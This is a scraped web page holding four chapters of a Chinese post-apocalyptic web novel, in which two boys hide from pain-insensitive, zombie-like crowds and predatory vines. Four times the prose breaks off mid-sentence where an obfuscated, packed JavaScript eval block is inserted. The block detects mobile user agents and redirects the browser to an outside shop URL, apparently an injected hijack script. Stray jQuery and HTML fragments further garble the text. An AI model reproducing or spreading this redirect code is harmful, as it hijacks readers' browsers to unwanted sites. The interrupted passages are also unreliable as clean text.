这是他近两年来,第一次主动说话,只觉得喉咙发紧,舌头发麻,但心底有个声音告诉他,不能让舅舅去。 所以他死死抓住对方的袖子,然后双手摩挲向下,又握住对方的手。 下一刻,舅舅的手开始抑制不住地颤抖,像是感动,又像是震惊。 寂染又艰难地重复一遍:“留下,舅舅……别去。” 许久,他感觉手上的力道消失,随后舅舅轻轻握住他的指尖,在他掌心写下:“好,舅舅陪你,直到手术结束。” …… “哥哥,你怎么了?” 星岑用力摇了摇寂染,但寂染没有反应。 他又用力摇了两下,依旧没有反应。 星岑蹲到寂染面前,深紫色的眼睛里曜动着惊吓和无措,他听着自己的乱掉的心跳,盯着眼前的寂染发呆。 片刻后,他发着抖伸出一根手指,放在寂染的鼻下,温热的鼻息立刻喷洒在指尖。 颤抖停止了,星岑如释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240345|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重负。 他长长吐了口气,站起身,把手放在衣服两边,把掌心用力往下擦,蹭掉上面刚冒出的汗水。 等心跳平复下来,他又再次跪到寂染身前,同时小心举起了手电筒。 由于背着沉重的包,寂然不得不以侧身的姿势躺在地上,这让他胸膛的起伏显得不那么明显。 而且在强烈的光线下,他整个人看起来状态很不好。 寂染太瘦了,几乎瘦脱了相,每一道纹路都像沟壑一样深深刻在了皮肤里。而光线又加深了凹陷的阴影,让他脸色也隐隐发青,很像一个病入膏肓的绝症患者。 星岑心跳不由自主地加快了一些,他害怕寂染就这样一睡不起。 在医院他看到太多这样的病人,前一晚上还笑着打招呼,睡一觉后却再也起不来了。 不知道经历过多少次,他才认识了新的小朋友,深夜喊他们一起起夜,却摸到冰冷僵硬的身体。 好在寂染的身体还是温暖的,呼吸也沉而有力。 可他就是不醒。 星岑不知道该怎么办,虽然身后就是医院,但里面没有医生,也化作废墟,现在又起了大火。 他又想到外公,如果外公在就好了,外公能救好多好多人,也能救哥哥,可他醒过来就没见到外公。 寂染说是因为地震,医院塌掉了,所有人都离开去了避难所。但他不知道避难所在哪里,没办法去那里找人。 他无助地想,现在只能等了,等寂染自己醒过来。 星岑不敢关上手电筒,他蹲在地上,把手电筒紧握在手里,当做武器,警惕着四周的方向。 偶尔会有小虫被灯光引诱,朝他迎面扑来,吓得他浑身一激灵。 好在这些小虫没有变异,还是遵循着喜光的习性。 但没过多久,手电的电力开始不足,光线变得昏暗起来。星岑睁大眼睛,盯着四周,直到最后一点电力消失,周围彻底陷入黑暗。 黑暗瞬间包裹住了他,他心底一慌,连忙抓住寂染的手臂,紧紧地靠过去,把脸贴在寂染的胸口,听他心脏跳动的声音,让自己蜷缩成小小的一团,像只小狗一样,躲进寂染有温度的怀抱里。 寂染睡得很死,无论他怎么折腾,都没有醒过来的迹象。 但他不敢睡,害怕危险会趁着黑暗袭来。 就这样,他在黑暗里,像只小仓鼠,警惕地竖起耳朵,仔细聆听着四周。 “哗——哗——” 海浪声就在不远处响起,被风吹起的浪花拍打在坚硬的石头上。 他也听到森林里发出的动静,有飞虫扇动翅膀发出的嗡鸣声,还有小动物从灌木丛里经过,发出细碎的沙沙声。偶尔也能听到动物细小尖锐的尖叫声,那是森林里的变异植物在捕猎食物。 一切都很平静,好像无事发生。比医院那种死寂,要让他舒服一些。 可惜空气闷热得像蒸笼,呼吸都感觉到鼻腔里黏了一层灰,但他还是死死贴着寂染,好像这样才安全。 不知道过了多久,他一直静静地待着,甚至有些昏昏欲睡,直到他听到一声“咔嚓——”树枝断裂的声音。 15. 找妈妈的路上(十五) 星岑猛地坐起身,他睁大眼睛,朝声音方向看过去。 但他什么也看不见,那里黑洞洞的一片。 可下一秒,星岑的手臂上,汗毛全都立了起来——那是脚步声,人的脚步声! “哥哥,有人来了。”不知道为什么,星岑没有大声呼喊。而是选择凑到寂染耳边,用只有两人听到的声音小声说着。 寂染没有醒来,眼皮下,眼球在缓缓地左右晃动,似乎还深陷在梦里面。 四周都安静了,海浪的声音几乎和黑暗融为一体,在黑暗里,悄然响起的脚步声十分清晰。 星岑更加确定,那是人的脚步声,脚步声也没有停顿,鞋底摩擦着叶片和泥土,正一步步踩在松软的苔藓上,窸窸窣窣朝他们靠近。 “哥哥……” “他过来了……” 星岑紧张地睁大眼睛,但前方黑洞洞的,什么都看不见。 他心底害怕,下意识抓紧寂染的手腕。 突然,“嘀——” 寂染的手表被他按响了,圆圆的表盘立刻亮了起来,在黑暗里闪烁起微弱的荧光。 紧接着,星岑听到脚步声来到了面前。 那人停住了。 他缓缓抬头,乌紫的眼睛有些惊愕地闪动着,微弱的荧光下,他看到了一个身影高大的轮廓。 是个有肚腩的中年男人,穿着又脏又破的西装裤和皮鞋,上半身隐藏在黑暗里。 星岑全身发寒,他感到男人正居高临下盯着他看。 “叔叔……你在看什么?”星岑被看得浑身发毛。 他死死捏住寂染的手腕,努力在黑暗里睁大眼睛,想看清楚那人的模样。 然后,“啪嗒”一大股液体掉在了脸上——温热的,滑动很快,就要顺着鼻沟掉进嘴里。 星岑吓了一跳,他下意识伸手去擦,只觉得那东西粘稠,又有一股古怪的恶臭,是他从来没有闻过的味道。 他又忍不住靠近闻了闻,紧接着,忍不住“呕”了一下,恶心得起了一身的鸡皮疙瘩。 “这是什么呀!”星岑使劲在地上蹭了蹭手背,又抬手使劲擦了下脸蹭过的地方,拼命朝地上吐口水,“呸呸呸!” 就在这时候,那人又开始动了。 他的目标似乎并不是他们,只是稍微停顿了下,便越过他们,脚步拖沓着,踉踉跄跄朝另一个方向走去。 星岑看着那人渐渐远去的背影,呆呆地瘫坐在地上。 片刻后,他长长吁了口气。 “吓死我了。”学着电视里的演员,星岑也有样学样地拍了拍胸口,又呼出了好几口气。 可下一秒,表盘的光熄灭,他激灵了一下,连忙转身,再把它按亮。 有了光他好受一些,靠在寂染的肩膀上,喃喃道:“哥哥,那叔叔走了,去找避难所了。” 说完,他心底仍旧发慌,便有些焦急地蹬了蹬腿:“哥哥,你怎么还在睡,什么时候醒过来?我害怕!” 可惜没有回应,寂染疲劳过度,一时半会估计醒不来。 顶着一头吓出来的汗水,星岑把手撑在地上,喘了两口气,哆哆嗦嗦爬了起来。 可能因为有了一点光,先前剑弩拔张的紧张感有所消退,星岑的胆子大了一些。 他绕到寂染身后,抖着手翻起他的背包来。他记得寂染放了多的手电筒,说是以备不时之需。但那手表的荧光太弱了,他只能把手伸进一通乱摸。 “啪——” 星岑按到了什么,一道强光倏地从背包里照出来,顷刻间照亮了四周。 这不是寂染自制的小手电,而是他在五楼安全屋里找到的,应急专用的强光照明设备,有小台灯那么大,不用举在手里,只要按下开关,就能照亮一个不小的房间。 星岑被突如其来的强光晃了眼,随即感到眼睛一阵刺痛,于是他赶忙把眼睛闭上。 就在这时,他好像又听到了脚步声。 “又有人来了?” 星岑激动起来,赶忙把背包的拉链拉到最下面,从里面拖出照明设备,让它对准了来时的树林、医院的方向,这才勉强把眼睛睁开了一条缝隙。 隐约中,他好像看到有人影在树林间晃动。 脚步声越来越大。 星岑用力揉了揉眼睛,等他终于适应了那道强光,才再次睁开眼。 这一回他看清楚了,强光照过去的树林深处,忽然出现了许多攒动的人影,还有跳动的几道火光,正踉踉跄跄朝他们走过来。 “哥哥……好多人,有好多人过来了。” 星岑不由自主站直了身体,结果这一个动作,却不小心挡住了光源。他赶紧朝旁边走了一小步,让光源能更清晰地照亮前方。 他知道摸黑不好走路,好心地想给那些人指下路。 但下一秒,他整个人愣住了。 他看到了自己的手背,刚刚擦过脸,上面还沾着那种散发着恶臭的古怪液体——淡绿色,粘稠状,里面还有许多正在蠕动的黑色小点。 “这是什么?” 星岑把手背凑到眼前,茫然地眨了眨眼睛。 这黏哒哒的东西也不知道是什么,又臭又恶心。 “好臭……这是不是他吐的痰啊!为什么要吐到别人身上,那个叔叔好脏啊!” 星岑觉得反胃,又朝地上“呸呸”两下吐了口水。 平白无故被人吐了痰,星岑咬了咬嘴唇,既委屈又生气,眼眶忍不住发热。 可他又找不到人告状,只能默默把这份委屈咽下去。 “没关系,只要擦掉就好了。” 说完,他又学起大人,小声安慰起自己:“我已经长大了,不和那些坏大人一般见识。” 吸了几下鼻子,星岑把没落下来的泪花逼了回去,他慢慢站起身,左右看了看,发现不远处的地上正好有一堆落叶。 于是他小跑过去,选了几张柔软的落叶当作纸巾,先擦掉手背上的脏东西,再像洗脸一样,使劲蹭也沾过脏东西的脸。 用掉十几张叶片后,星岑看到自己手背再次变得白白净净,终于重重松了口气。 这时候沙沙的脚步声变大了,星岑循声望去,看到方才在树林里的人靠近了一些。但他们走得很慢,过了好久,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240346|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走上一小段,走路姿势也很奇怪,像是脚都踩在了棉花上,总是一颠一颠地左右虚浮。 星岑睁大眼睛看他们,拿不准要不要喊。 现在寂染沉睡不醒,如果能找大人们帮忙,肯定是最好的。 可是…… 星岑看了看手背,想起那个让人发毛的叔叔,还有他那毛骨悚然的注视。 虽然已经没那么害怕了,但他还是本能地有些不安,觉得自己最好还是别跟那些人碰面。 星岑把树叶丢掉,跑去提应急灯,他不打算把应急灯收起来,而是想把灯放到刚才的大石头上,好给那些大人们指路。 而他自己则跑回原位,拖着寂染去相反的方向——一个离他们不远的地方,有一棵很大的树,它盘起的根须在地面上形成了一个隆起的小洞,正好可以容纳他们两个人。 他打算先躲起来,等哥哥醒来后,再告诉他遇见大人的事情。 尽管寂染很瘦,但对星岑来说还是太重。 他两手紧紧拽住寂染的胳膊,没两下就拖得气喘吁吁,衣服汗湿了大半。 而看不到的后方也危机四伏,茂密的苔藓里藏着许多树根和石块,一不注意就会摔了好几跟头。 有一次星岑正好尾巴骨磕到石头上,疼得他两眼直接红了。但他没有哭,只是原地喘了两口气,便又从地上爬起来,继续去拽寂染的手臂。 一阵连拖带拽,他们终于达到了大树旁。 就这么几分钟工夫,对星岑来说,简直像长征一样艰难,他已经筋疲力尽,可他没有停下,反而是一鼓作气,对着寂染最后奋力一推。 “唰——”一声,寂染滚了下去。 星岑忙伸头看,确认寂染没事后,他自己也跟着利落地跳了进去。 洞不深,底下积满了落叶,而星岑踩在上面,正好能在洞口露出一双眼。 于是星岑踮起脚尖,悄悄朝外面看去。 应急灯的灯光亮得惊人,像白昼一样,照亮了四周的树木,包括那些之前吓住了星岑的变异植物。 在雪白的光线下,它们只是颜色深了一些,其他和正常的植物也没什么太大差别。 星岑记得,离他们最近的变异植物,好像是一棵爬满黑藤的树。 那些黑藤上,长满了白色的小花,看起来很漂亮。星岑想要,但寂染在树底下发现了不少小动物的白骨,于是他们立刻放弃了直走,而是在周围绕了一大圈,多走了好多路。 那棵树就在…… 星岑眯着眼朝前望去。 但下一秒,他眼睛睁大了。 只见走来的人群上方,忽然缓缓垂下数条开满小白花的黑藤,它们就像蛇一样,悄无声息,昂首悬在人群的头顶,直到人群要走出他们范围,才突然间发力,猛然朝人群袭去—— “小心!” 星岑悚然一惊,忍不住大喊出声。 但黑藤速度极快,眨眼之间,就嗖地将人掳走。 可古怪的一幕也发生在这时,只见剩下的人仍旧以同样缓慢的频率,继续磨磨蹭蹭往前走,他们似乎并没有受到任何惊吓,既没叫,也没跑。 16. 找妈妈的路上(十六) 于是接下来几十秒时间里,那些黑藤又去而复返,同样又卷走好几个人。 那些被抓住的人也从头到尾没有挣扎,甚至连叫一声也没有,整个人就像提线木偶一样,被黑藤轻轻一卷,瞬间带进了茂密的树冠里,整个过程透着一股不合常理的古怪。 星岑全身僵住,他茫然地张大嘴,眼睛里全是轻烟似的迷茫。 几秒后,深绿色的树冠疯狂晃动,紧接着,他听到皮革被撕裂的声音,深色的液体旋即从天而降,变异藤下的灌木丛簌簌作响,顷刻间下起了一场局部的阵雨。 一阵风吹来,星岑又闻见了那股难以形容的恶臭,还夹杂着一股浓重的血腥味。 他原本僵硬的身体,开始发起抖来。 “哥哥,快醒醒……” “不要睡了,快醒醒!” 寂染在半睡半醒间听到几声呼唤,但他睡得正熟,还不想起来,打算翻身继续睡,可不等动作,就感到手臂突然传来一阵钻心的疼。 寂染疼得“嘶——”了一声,终于清醒过来。 他翻身坐起,看到星岑正死死抓住他的胳膊,指甲全都深深掐进皮肤里,一双眼惊恐万分地看着上方。 寂染忍着疼,把星岑拉开了一些,此时他刚睡醒,声音还有些沙哑,他咳了一声,问:“怎么了?” 星岑没有立刻应声,他眼珠迟缓地转动着,慢慢从上方移下来,直到和寂染对视,才颤着声说:“好多人,有好多人……” “什么好多人?”寂染没听明白,想起身看看怎么回事,可刚站起来一半,就被星岑一把抓住。 星岑死死揪住他的衣角,把食指放在嘴前,十分紧张地“嘘”了一声,道:“他们过来了。” 寂染也忍不住紧张起来,他半蹲在洞里,学着星岑仰头,悄悄朝上看。 就在这时,纷杂的脚步声从不远处传来,是各种鞋踩踏在草地上的沙沙声。 ——是人! 寂染很确定,这次的脚步声和上次遇见怪物的很不一样。 他还是植物人的时候,经常能听到很多人的脚步声,他们穿着各种各样的鞋,踩在松软的地毯上,声音和频率就和现在很相似。 可星岑为什么那么紧张,寂染小心地探出头,只在洞边露出一双眼睛。 然后—— 他看到了许多人影,能依稀辨别出轮廓,有男有女,还有老人,他甚至还看到一个挺着大肚子的女人。 一排又一排人影出现,黑压压的从树林里走出来。 很奇怪。 寂染看过受惊的鼠潮,它们密密麻麻,像奔腾潮水一样疯狂逃窜。 但这些人却不像逃难的灾民,没有丝毫紧张感,每个人走得又拖沓又慢,还彼此分开了一定距离,透出让人不安的诡异。 这种怪异感,令人十分不舒服。 直到这些人慢悠悠走到视野范围内,才得以窥见他们走不快的原因。 原来他们全都受了很重的伤,有的胫骨从中折断,骨头直接从皮里戳出来。 有的甚至腿下半截直接消失,只剩下血肉模糊的组织,他们也不停下来,仍旧用只剩下骨头的膝盖和手掌,拖着一地的血痕异常执着地向前爬行。 走在最前面的稍微好一些,虽然有些一瘸一拐,但肢体还算完整,可衣服却也被烧了大半,暴露在外的皮肤全起了一层密密麻麻被火燎过的水疱,脸部也已经面目全非,仿佛五官融化,只剩下五个大小不一的孔,看起来狰狞可怖。 寂染心里咯噔一下,找到了怪异的来源——这些人,好像没有痛觉…… 刹那间,他涌起一股强烈的荒谬感,实在感到不可思议——这些人是磕药了吗? “哥哥……”星岑也看清楚来人的样子,他被吓得不轻,牙齿咯吱咯吱打战,死死攥紧他的衣角。 寂染脸色发白,他摇头,飞快做了个噤声的表情。 几十秒后,最前排的人已经走到了洞边,寂染连忙蹲了下来,将吓呆的星岑头按下去。 他们躲在树洞底下,静静地聆听着上方的脚步声,寂染把背贴在冰冷的泥土上,星岑就钻进他怀里,紧紧地闭着眼,用手环抱住他的腰。 星岑的心脏跳得很有力,也很快,隔着衣服,撞在寂染的小腹上。 此时寂染大脑一片混沌,他在想这些突然出现的人,到底从什么地方来的。 难道他想错了,医院里还有很多病人,但自己却放了一把火…… 不对,寂染用力摇头。 医院已经变成废墟了,里面不仅有怪物,还有可怕的食人藤。 除了安全屋,就再也没有任何地方适合居住。而安全屋的大小,最多也就只能住得下五个人。 那就是那辆从天而降的火车了。如果火车砸下来,以那样的高度,即使里面有人,肯定也会和火车那个钢铁巨兽一起被彻底搅碎。 那就只剩下一种可能,这些人是火车的乘客,他们从里面打开了车门,然后从上面跳下来,有茂密的植被当做软床,不至于会马上摔死。 可是,就算逃难,也不至于拖着那样重的伤,旁边的人居然也不帮一把…… 实在太古怪了。 寂染想不通,他觉得这些人肯定有问题。从载他们的火车,到他们毛骨悚然的行为,都让人觉得古怪极了。 不知道过了多久,那种让人发毛的脚步声消失了,周围再次恢复一片寂静。 寂染放开星岑,偷偷探出头去看,确认那群古怪的人离开后,才手脚并用从洞里爬出去,将应急灯关上,换成备用手电筒。 “哥哥,那群人好奇怪,他们好像丧尸,都不怕痛。”星岑跟着他爬出来,但手还攥紧他的衣角,浑身哆哆嗦嗦地打颤。 寂染一愣,低下头问他:“是电影里那种会咬人的丧尸吗?” 星岑踌躇了下:“有点像,但又不像。他们好像不咬人。” 寂染听出他话里隐含的意思,不由皱了皱眉,神情严肃地问:“你接近过他们?” 星岑老实地点点头,脸色依旧苍白,但语气有些委屈:“是个叔叔。他走到我面前,我明明没有惹到他,我就喊了一声叔叔,结果他就朝我吐了一大口又臭又恶心的痰。真的好臭,我擦了好久。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240347|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 寂染手一顿,追问:“之后呢?” “他就走了。”星岑又想起那个绿色还生满麻子的痰,一时间恶心得想吐,便弯下腰,发出干呕声。 寂染立刻拍了拍他的背,随后把背包放下,从里面扯出几张卫生纸,用酒精浸湿后,示意星岑把沾到秽物的地方指给他看。 为了以防万一,他要用酒精消消毒。 “这里,还有这里。” “把脸仰起来,是鼻子这边吗。” “嗯!” 寂染耐心地擦了几下,星岑沾着泪点的羽睫轻颤,他突然问:“哥哥,我也会变成丧尸吗?” 寂染本来想说实话,他也不确定。可看星岑脸色发白,眼睛也又红又肿,看样子吓得不轻,便正经问:“有碰到你的嘴或者眼睛吗?” 星岑立刻用力摇头:“没有,本来要掉进我嘴里,但我一下擦掉了。” “那就没事,你看我现在用的是医院的酒精,无论什么病毒都能消灭掉。”寂染换了一张纸,在上面浸满了酒精,仔仔细细地擦每寸皮肤,直到星岑整张脸被擦到微微发红,才放开他。 星岑闻言长长吁了口气,这时候得到哥哥的保证,他害怕变成小丧尸的恐惧消退了大半。 寂染又问:“后来呢?” “后来,我又看到那个长满花的藤,它像蛇一样从树上吊下来,就嗖的一下,把底下的人卷了起来。我吓得大叫起来,但那些人都不叫,就像电视上的木偶一样,傻傻呆呆的。我觉得他们好可怕,还好我们躲进洞里了。” 寂染手上动作一顿,再次看向才一米多点的星岑,有了些许的动容:“谢谢你,星岑,这次是你保护了我。” 星岑不好意思起来,他耳朵发红,腼腆低下头,声音很轻地说:“没什么,以后我也会保护哥哥的。” 这时候,树林深处又传来了沙沙的脚步声,电筒照过去,能看到稀稀拉拉的人影,正朝着他们走来。 “哥哥,我们快走吧。”星岑再次紧张起来。 “等下。”寂染从背包里拿出两管营养液,把其中一管递给星岑,自己蹲下来,示意星岑爬到背上。 星岑却摇头:“不要,我自己走。” 说着,他朝前跑了两步,又停下,回头看向寂染,朝他招招手。 寂染看他态度坚决,便没有勉强,一来后面那群怪人跑不快,二来他背上还有个很重的包,里面是他们仅剩的物资。 想到这里,他就忍不住庆幸,还好当时留了个心眼,把最重要的必需品放在背包里,没被那食人藤糟蹋,不然接下来还要为找吃的发愁。 “哥哥,你快看我!” 星岑走到一根树根前,突然握紧拳头,想从上面潇洒跃过,但没想用力过头,结果没能刹住步,直接跪在了地上。 “慢一点,不要跳来跳去,当心掉进洞里。”寂染把他拽起来,抬手拍他的裤腿,泥块和草屑立刻簌簌往下掉,可膝盖还是有两个明显的黑印,正好把光耀战士英俊的脸弄脏了。 星岑却没心情计较这个,他痛失了再次表现勇猛的机会,一时间垂头丧气。 17. 找妈妈的路上(十七) 寂染强忍着憋笑,捡起掉地上的营养液,递到他手里:“不要玩了,快把这个喝了,会喝吗?” “会!”为了继续表现,星岑果断用大牙咬掉上面的密封口,然后猛吸一口,紧接着,两眼发亮,发出一声夸张的感叹:“好好喝。” 寂染没想到他居然连这个也喜欢,意外地问:“你喜欢吗?” “像食堂里的大米粥。我好久没喝过了,因为厨师换了,早上只有牛奶和三明治,夹了鸡蛋和蔬菜那种。但我不喜欢,我还是喜欢喝粥,热热的软软的,加一点白糖,我就能吃下两大碗。”星岑咬着塑料管,嘟嘟囔囔地说。 寂染“嗯”了一声,走到一个大树前,他把喝完的塑料包装随意地塞进树上的洞里——末日了,谁还管保护环境。 没想到一回头竟看到星岑停下了脚步,正睁圆了眼睛盯着他。 寂染忽然有些心虚,他轻轻咳嗽一声,抬手,扯塑料袋,不动声色地拿回来,团成团,塞进背包的侧袋里。 这时候星岑才满意地收回目光,继续一蹦一跳地朝前跑。 很快,时间到达下午三点,应该是阳光最炙热的时候,但寂染仰头朝天空望去,仍旧是一片漆黑。 只有极地的极夜才会是这样,但寂染感觉四周的温度越来越高,走两步就喘不过气,身上的病服也全湿透了。 这很奇怪,明明大火已经被抛到身后,却莫名觉得正逐渐向朝燃烧的火炉靠近。 实在太奇怪了,从医院出来,遇见的每一件事都怪异极了。 很多事情超出了他的理解范围,甚至违反了他学到的知识。 就像没有阳光,植物就做不了光合作用,可他身处的这片森林,却生长得格外茂盛,甚至还变异出像动物般捕食的能力。 比起奇怪,倒不如说诡异。 此刻,他所了解和学到的知识体系全部变得混乱。就好像这个世界,根本就不是他生活过的那个世界。 无论他怎么探索,得不到任何合理的解释,只剩下一个又一个巨大的疑团。 寂染心神不宁地朝前走,边走边注意身后那群怪人,还有隐在黑暗里的变异植物。 他错过太多了,在他沉睡的这一百年时间里,世界已然天翻地覆,发生了颠覆他认知的巨大危机,导致了现在种种怪异的情况。 此刻寂染对未知的惊惶,远远超过了见到这些诡异事件或怪人的恐惧,他急切想知道到底发生了什么。 他甚至好几次泄气地幻想麻醉自己,这里是庞大的摄影棚,他所遭遇和看到的不过是特效演员和仿真道具。而自己则是被不幸选中的主角,就像楚门一样,被困在一个大型真人秀里。 如果不是亲身经历星岑在他怀里变得冰凉,僵硬,并差点死掉,他真的会这样麻醉自己成功。 在黑暗的森林里又走了半小时,周边的场景始终重复着,电筒的光照距离有限,能见度只有五六米。 目光所及之处全是高大的树木,这难免让人精神疲惫。 寂染勉强还可以支撑,但星岑已经从一开始的精力十足,到后来的精疲力尽。 他的脚步慢慢落后,到后来主动牵住寂染的手,这样可以借一些力。 寂染纵容地反握住,在他快要摔跤的时候,连忙抓一把,稳住身形。 实在太热了,没一会儿,他们的手心就全是汗,身上也大汗淋漓。 寂染帮星岑脱掉外套,把外套捆在自己的背包上。 星岑忽然有些沮丧,他为自己不仅不能帮寂染承担部分重量,还成了拖累感到闷闷不乐。 明明刚刚才许诺,会保护哥哥。 寂染不知道他复杂的心理活动,只当他累了,便安抚他:“再忍忍,马上就出去了。” 星岑点头,心不在焉走了几步,突然脚下一滑,一屁股摔倒在地,连带着把寂染也拽到了地上。 寂染以一个五体投地的姿势趴在地上,此时身后的背包就像座大山,死死压在背上,竟让他一时间爬不起来。 “啊,哥哥!”星岑吓了一跳,连忙拽他的胳膊,却发现拽不动,于是又去拉他的背包。 直到把背包拉到一边,寂染才恢复力气,重新爬起来,坐在地上喘气。 星岑沉默片刻,忽然,他吸了吸鼻子,情绪低落地说:“对不起哥哥。” 寂染茫然地看向他:“怎么了?” “都是我的错。”星岑擦了擦眼睛,蔫耷耷地倚着树,低声说,“我给哥哥添麻烦了” 说完,他苦恼地抓了把头发,长叹一口气:“要是我能快点长大就好了。” 在遇见那么多事后,星岑突然间意识到,外面的世界变得不一样了。 具体是什么,他说不清楚,但本能地知道,像自己这样弱小的孩子,只靠自己很难活下去。 这让他害怕,又惶恐,担心会被寂染嫌弃是拖累,于是急于想表现自己的能力。 可问题总是在出错,这让他忍不住着急。 寂染看到他眼睛发红,微微一愣,却也很快意识到星岑的担忧——如果自己遇见的不是星岑,而是一个成年人,他可能也会忐忑不安,担心会被当作累赘,继而被对方嫌弃丢下,只能独自面对这个可怕的世界。 结果只能是死亡,而所有生物都本能害怕死亡。 思绪到此,他看向星岑:“你看过动物世界吗?” “看过。”星岑吸了吸鼻子,说,“每天中午医院食堂都会放。” “那你知道有很多动物是合作共生的关系吗?” 星岑想了想:“就像……跳蚤和小猫吗?” “那是寄生,我说的是互利共生。”寂染打了个比方,“就像小丑鱼和海葵,它们在大海里都很渺小,周围还有许多可怕的大鱼,一不小心就会被吃掉。 “所以小丑鱼住进了海葵家里,海葵保护小丑鱼,小丑鱼会给它吃的,就像我们一样——有时候,你保护我,有时候,我保护你。就像刚才,你不就保护了我?这个世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240348|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太大了,我们只有在一起才会安全。” 星岑眼睛缓缓亮了起来:“我保护你,你也保护我。” “对。”寂染把手伸到他面前,柔声道,“走吧,我们一起去避难所。” 星岑立刻牵住他的手,神采奕奕地点头。 俩人接下来又走了几公里路,路上走走停停,不时能看到一些新鲜的血迹。 虽然膈应,但寂染还是决定跟着那群诡异的怪人走。 果不其然,他们脚下的植被逐渐变得稀疏起来,开始露出泥土原来的本色。 他们还见到不少人类文明产物,像饮料瓶、塑料袋、生锈的废铁,以及一些废弃的食品包装袋。 寂染捡起来看了一眼,发现生产日期竟在一百年前。 环保组织说的没错,人类制造的垃圾,寿命远比人类更长,那些诡异的人也是因为人类破坏环境导致的结果吗? 寂染突然又想起便签纸上的那段话——末日真的到来了,人类自食恶果…… 难道这就是恶果? 寂染一阵胡思乱想,直到踩到一块锈迹斑斑的蓝色金属板,才发现那是交通标识牌——他们已经来到树林的边缘了。 海浪的声音近在咫尺,星岑忍不住跑快了一些,寂染只能紧紧跟上。 只听星岑兴奋地大叫起来,他们终于离开了森林,来到了人类的地盘。 眼前是一条断裂扭曲的水泥路,上面还横七竖八地停了好些空车,有的撞得稀巴烂,有的被废弃——车门敞开,玻璃破碎,东西散落一地。 “警车!”星岑大喊一声,就要往前跑,却被寂染一把抓住。 “里面没人。”寂染说着,举起手电筒,望向四周。 寂染从没见过这样的场景,就算心里做过无数出预设,可亲身置于这样的环境,内心还是不由地感到荒谬和悲凉。 就像电影里看到过的场景,断裂的公路上横躺着汽车的尸骸,大路空空如也,野草疯长,地上到处滚落着垃圾,当有风吹过,便响起叮铃哐当的声响。 尽头停着几辆警车,其中一辆被撞翻,车身凹陷进去,玻璃渣滚落了一地,敞开的门下有一大滩黑色痕迹,痕迹又在碎裂的水泥板上拖出一条长痕,看方向是朝着海边。 寂染在观察四周的时候,星岑被旁边一辆彩绘车吸引了。 那车的车身虽然布满了黑色的斑点,但上面的卡通轮廓却依旧清晰。星岑只看了一眼,便被深深吸引了,于是他忍不住上手摸了摸。 但只摸了一下,星岑便紧张地回头看向寂染,见寂染没有注意自己。他便胆子又大了几分,就着敞开门的前座去探头看车内。 这一看,把他乐坏了。他发现仪表盘上放着许多卡通模型,其中就有一对光耀战士和怪兽的,还是那种带弹簧,可以跟着车移动摇头晃脑的二头身。 星岑不由得眼前一亮,顾不上喊寂染,自己七手八脚地爬上副驾驶。可还没等爬上座椅,他就脸色大变,一把捂住鼻子。 18. 找妈妈的路上(十八) 他着急忙慌地跳出来,结果不小心“呯”的一下,膝盖磕到车门,忍不住痛呼出声。 “怎么了?”寂染被吓了一跳,忙回头看他。 就见星岑正捂着膝盖,痛苦地蜷缩在地上,疼得脸色发白。 寂染紧张地靠过来,问:“出什么事了?” 星岑小口小口吸着气,红着眼睛说:“磕到了,那车里面好臭,臭得我受不了,结果跳下来的时候,撞门的尖尖上了。” 寂染赶紧走上前,把星岑的裤子撸到脚踝,然后低头仔细检查他的腿。见没有破皮,他又就着膝盖骨捏了一圈,直到确认骨头也没事,这才松了口气。 星岑也就是刚撞到那一下疼,过了半分钟后就只剩下麻,等被脱掉裤子,连那点麻都没有了,只剩下面红耳赤的害羞。 寂染伸手想帮他提裤子。 星岑连忙摇头,躬着腰,提着裤腰,像小僵尸朝后蹦了一下,红着脸小声说:“谢谢哥哥,我自己会穿。” 星岑倒不是介意寂染,之前在安全屋也是当着寂染的面脱光光。但房间里光屁股,和在外面大庭广众下,还是有很大的不同。 尽管四周没有人,可星岑还是心里升起了几分难得的羞耻心。 